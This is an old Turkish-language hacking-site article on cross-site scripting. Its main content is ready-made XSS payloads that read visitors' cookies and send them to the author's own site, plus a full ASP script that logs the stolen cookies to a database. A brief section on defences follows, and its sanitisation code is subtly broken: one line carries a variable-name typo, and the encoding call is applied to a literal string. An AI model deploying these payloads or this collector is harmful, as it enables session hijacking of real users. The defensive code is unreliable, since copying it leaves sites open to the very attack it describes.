Root > Documents > Web Güvenlik Açıkları > XSS Vulnerabilities
Cyber-Warrior.Org \ Doküman \ Web Güvenlik Açıkları > XSS Vulnerabilities
Madde
  Yazar : CWDoktoray
  Date : 14.06.2005 16:28:21
 
# XSS Vulnerabilities
 

XSS Açiklari ve Korunma Yöntemleri

 

XSS Açiklari Request ile kullanicidan alinan verilerin sayfa içinde Yazdirilmasi ile olusur. Örnegin QueryString ile alinan sayfa numaralari yada ilgili kaydi gösteren id degiskenleri.
http://www.hedefsite/Default.Asp?Page=1 yada http://www.hedefsite/Product.Asp?id=1
http://www.hedefsite/Default.Asp?Kategori=Haber gibi.

Örnek XSS Açigi ile Ne yapilabilir :

Yukardaki örnekler gibi açigimizi buluyoruz yada hedef sitede Webservis sayaç kodunun olmasi yeterli.
Açigimizi bulduktan sonra kullanicinin Cookie’sini JavaScript (document.cookie) ile okuyup istedigimiz bir adresteki veri tabanina kayit ediyoruz yada kendimize mail atiyoruz.

-------------------------
http://www.hedefsite.com/Default.Asp?Page=2"><SCRIPT>location.href= "http://www.cyber-warrior.org/yakala.asp?X=’+escape(document.cookie)</SCRIPT>
-------------------------

Saldirgan Url’nin sonuna "> Eklentisi ile Inputlarin sonlandirilmasini ve bundan sonra eklenen zararli kodlari Explorer’in icra etmesini saglar.

Bu Link’e tiklayan kullanicinin Cookie’si Belirtilen Kaynaga Post edilir.

Yada : Hedef sitede yazdiginiz mesaji gösterebilecek uygulamalar var ise ziyaretçi defteri, forum vb. uygulama
----------------------------
<script>document.location=’http://www.cyber-warrior.org/yakala.asp?X=’ +document.cookie</script>
----------------------------
Bu kod ilgili sayfada görüntülendigi anda sayfayi görüntüleyen kullanicilarin cookielerini alarak yakala.asp dosyasina veri tabanina kaydetmesi için gönderir.

Web Sayfanizda XSS açiklari kapatilmis Olsada, Webservis Sayac kodu var ise bu sayesinde XSS Açigi Olusuyor.
WebServis Tarafindan verilen ve Sitenize eklediginiz;

------------------------------------
<script language="javascript"> var  wuser="CWDoktoray", wbanner=11;</script>
<script language="javascript" src= "a target=_blank href=http://www.webservis.gen">http://www.webservis.gen.tr/sayac.js"></script>
-------------------------------------

 

XSS Açiklarini Engellemek için:

Request ile alinan degerleri her zaman QueryString’de olsa Replace ile Asagidaki sekilde temizleyin

Ve Request verilerini alirken mutlaka tam sayiya çevirin

Recid = CInt(Trim(Server.HTMLEncode("Recid")))

Recid = Replace(Recid, "<" , "&lt;")   ’küçüktür
Recid = Replace(Recid, ">" , "&gt;")   ’büyüktür
Recid = Replace(Recide, "’" , "&#146;")   ’tek tirnak
Recid = Replace(Recid, Chr(10) , "") ’Satir Basi
Recid = Replace(Recid, Chr(34) , "") ’çift tirnak

---------------------------------------------------

ASP.NET ’de

web.config Dosyasinda asagidaki degisikleri yaptiginizda " ’ "

 gibi karakterleri sistem kendisi kontrol eder. Bu Sayede hemen hemen hiçbir XSS ve SQL Enjeksiyon teknikleri Etkili olmaz

<System.Web>

<Pages validateRequest="True"></Pages>

</System.Web>


IPS Kullaniyor iseniz

Yeni imza yaratip

Application Layer / HTTP / HTTP.URL_DECODED
Protokolüne;
 
’ Tek Tirnak,
" Çift Tirnak
< Küçük
> Büyük

Karakterlerini ekleyerek XSS ve SQL Enjeksiyon Saldirilarini Direkt Engelleyebilirsiniz...

----------------------------------------------------------------------------------

Yakala.ASP’den Gelen Verileri yakalamak ve Veritabanina kaydetmek için

Örnek Basit bir ASP Dosyasi

X = Request.QueryString("X") Yerine
Veri URL’den gelecegi için
X = Request.ServerVariables("HTTP_REFERER") de Kullanabilirsiniz.

"Yakala.mdb" adinda bir database olusturun "tblYakala" adinda bir tablo ve "Sayfa" Adinda (alan tipi Not) Oalcak sekilde Tasarlayin

--------------------Yakala.Asp-----------------------------------

<%
Dim X
X = Request.QueryString("X")
%>

<%
Dim ConnString,bag
ConnString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.mappath("Yakala.mdb") & ";"
set bag = Server.CreateObject("ADODB.Connection")
bag.Open ConnString
%>

<%
Dim SQL,Rs
Set Rs=Server.CreateObject("ADODB.Recordset")
SQL="Select * From tblYakala"
Rs.Open SQL,ConnString,1,3
End iF
%>

<%
Rs.AddNew
Rs("Sayfa")=X
Rs.Update
Rs.Close
%>

----------------------------------------------------------------------------------

Cyber-Security.Org / CWDoktoray

   
   
Cyber-Warrior TIM All Legal and illegal Rights Reserved.\CWDoktoray 2001©